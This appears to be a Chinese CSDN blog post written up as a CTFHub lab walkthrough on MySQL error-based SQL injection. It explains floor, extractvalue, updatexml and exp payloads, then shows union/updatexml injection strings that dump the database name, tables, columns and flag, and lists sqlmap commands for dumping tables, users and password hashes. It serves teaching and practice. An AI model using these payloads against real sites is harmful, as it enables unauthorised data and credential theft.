首页 > 数据库 >CTFHUB-技能树-Web前置技能-SQL注入-报错注入

CTFHUB-技能树-Web前置技能-SQL注入-报错注入

时间:2024-04-01 21:30:45浏览次数:30  
标签:sqlmap 0x7e 报错 updatexml 技能 select 注入

技能树-Web前置技能-SQL注入-报错注入

报错注入函数
loor函数
select count(*),(floor(rand(0)*2))x from table group by x;

select查询语句
group by进行分组(相同为一组)
rand()生成0到1的随机数
floor()返回整数
count()对数据整合(类似去重)

产生原因:mysql在执行该语句会建立一个虚拟表,表中有两个字段(一个是分组的值和一个计数的值),当分组已经存在后就会爆错。

参考:http://www.cnblogs.com/sfriend/p/11365999.html
extractvalue函数

限制长度为32位

and extractvalue(1,concat(0x7e,(select user()),0x7e));

该参数接受两个字符串参数,一个xml标记片段和一个xpath表达式,而第二参数要求xpath格式字符串,而我们不是所以报错。

参考:https://www.cnblogs.com/xishaonian/p/6250444.html
updatexml函数

限制长度为32位

and updatexml(1,concat(0x7e,(select user()),0x7e),1)

updatexml(1,2,3)第一个参数是string格式,为xml文档对象的名称,第二个参数为xpath格式的字符串,第三个string格式,替换查找到的符合条件的数据,由于第二个参数要xpath格式的字符串,因为不符合规则所以报错。

参考:http://blog.csdn.net/qq_37873738/article/details/88042610
name_const函数

只可获取数据库的版本信息

exp函数
exp(~(select * from(select user())a))

exp(int)该函数会返回值得x次方结果,当值超过mysql的范围就会爆错,上面payload的意思为:先查询user()的数据取名为a再select * from a将结果集a全部查询出来。

报错函数
报错函数:
floor()
extractvalue()
updatexml()
name_const()
join()
exp()
geometry collection()
polygon()
multipoint()
multlinestring()
multpolygon()
linestring()
参考:http://www.mamicode.com/info-detail-2366760.html
报错注入
判断注入点

输入1 查询到结果

在这里插入图片描述

尝试输入1‘ 出现报错

在这里插入图片描述

输入-1查询到结果

在这里插入图片描述

发现无论输入什么,都只会回显成功或者错误

能报错,说明存在注入点

爆库名

可以根据updatexml的报错注入来获取信息

1 union select 1,updatexml(1,concat(0x7e,(database()),0x7e),1)

updatexml (string, xpath_string, string)
第一个参数:可以输入1,为XML文档对象的名称
第二个参数:xpath_string ,提取多个子节点的文本
第三个参数:可以输入1,替换查找的符合条件的参数

0x7e是一个代表的十六进制,可以用’%’,或者’’来代替

在这里插入图片描述

爆表名
1 union select 1,updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema='sqli'),0x7e),1)

在这里插入图片描述

爆列名
1 union select 1,updatexml(1,concat(0x7e,(select  (group_concat(column_name)) from information_schema.columns where  table_name='flag'),0x7e),1)

在这里插入图片描述

爆数据
1 union select 1,updatexml(1,concat(0x7e,(select (group_concat(flag)) from sqli.flag),0x7e),1)

在这里插入图片描述

自动化sqlmap注入
sqlmap注入
查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1

查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs

获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables

获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns

获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump

查询数据库的所有用户
sqlmap.py -u url/?id=1 --users

查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords

查询数据库名称
sqlmap.py -u url/?id=1 --current-db
sqlmap各种注入技术

布尔类型的盲注,根据返回的页面的是或否,来判断对错的注入

时间类型的盲注,无法根据页面返还的信息判断任何信息,利用线程返还sleep(x)的时间,来判断对错的注入

联合查询注入,使用union联合注入

报错注入,根据页面返还错误信息进行注入

标签:sqlmap,0x7e,报错,updatexml,技能,select,注入
From: https://blog.csdn.net/Static______/article/details/137247172

相关文章

  • WEB专项-SQL注入
    一、EasySQL1.进入靶场,发现有用户名和密码两个输入框,首先想到的是便是爆破,但这工作量有点大,根据题目的提示,这里存在sql注入漏洞。2.在用户名和密码输入框中随便输入一点数据,找到传参位置。3.尝试在用户名中输入通用的sql注入语句,adminor1=1--qwe,发现没生效,有可能是没有闭......
  • 【异常】Spring的依赖注入(DI)系统提示异常,因为漏了一个实现类导致了错误Parameter 0 of
    一、异常内容2024-04-0111:44:39.912[main]ERRORorg.springframework.boot.diagnostics.LoggingFailureAnalysisReporter-***************************APPLICATIONFAILEDTOSTART***************************Description:Parameter0ofconstructorinc......
  • SQL注入原理及步骤以及黑名单绕过方式
    原理mysql5.0以上的版本存在一个information_schema数据库,information_schema数据库包含3个表如下:步骤判断是否存在sql注入:分别输入不同的id值:——有结果:1’and1=1#——无结果:1’and1=2#——出错:1'——正常:1''(两个单引号)换成双引号同理。判断查询结果有多少列:—......
  • 前端自动部署报错“http://registry.npm.taobao.org/****/download/array-tree-filter
    自动部署时报错我试过更改淘宝镜像为https://registry.npmmirror.com但都不生效报错如下图:代码中的配置文件如下如上配置在其他测试环境均正常,只在生产环境报错求大佬帮忙看看是什么原因呀......
  • 引入了 Shiro 的项目请求路径中带有中文报错400 的问题
    byemanjusakafromhttps://www.emanjusaka.top/2024/04/shiro-request-chinese-error-400彼岸花开可奈何本文欢迎分享与聚合,全文转载请留下原文地址。当我们的项目中引入了Shiro后,带有中文的请求路径会被拦截并返回400的错误。一般我们的请求路径是不会带有中文字符,但......
  • macbook pip3路径报错
    执行pip3,提示:zsh:/usr/local/bin/pip3:badinterpreter:/Library/Developer/CommandLineTools/usr/bin/python3:nosuchfileordirectory问题:原因:python路径不正确方法:➜whichpython3/usr/local/bin/python➜bincd/usr/local/bin➜binvimpip3修改第一......
  • MSSQLServer dbo没有智能提示/红色报错波浪线
    使用SQLServer的时候碰到了一个问题,就是已经在[24_3_25]中创建了temp1表,但是左侧对象资源管理器窗口中没显示,而且没有输入提示,还有红色报错波浪线。如图所示解决方法:资源管理器没显示选中“表”选择刷新对于报错波浪线和没提示的问题看看是否是因为开启智能提示点击......
  • 报错:react.development.js:1130 Uncaught Error: Objects are not valid as a React
      原因:是因为getControl我用了异步async的方法。而调用的时候,没有加上await导致的。 解决办法:加上await就可以了 ......
  • SAP BW 增量抽取报错任务 ODQR_***** 已失败
    修复处理链发现一直报错,报错信息如下: 怀疑是源端的增量出现问题:打开源端,TCODE:ODQMON 选择,双击进入 找到对应的DTP,双击进入  找到增量出错的那条,点击,尝试重新抽取增量,如果不行,看后台任务是否还在运行,如果报错任务直接删掉。然后更新请求状态,变成了红叉,直接运行DTP......
  • MySQL数据库报错:ERROR 1364 (HY000): Field ‘authentication_string‘ doesn‘t have
    在MySQL安装和配置的过程中,遇到错误可能会让人感到困惑,尤其是当错误信息不够清晰时。本文将详细探讨一个在MySQL安装过程中较少见但可能会遇到的错误,提供一个全面的解决方案指南。错误描述在MySQL安装过程中,可能会遇到以下错误信息:ERROR1364(HY000):Field'authentica......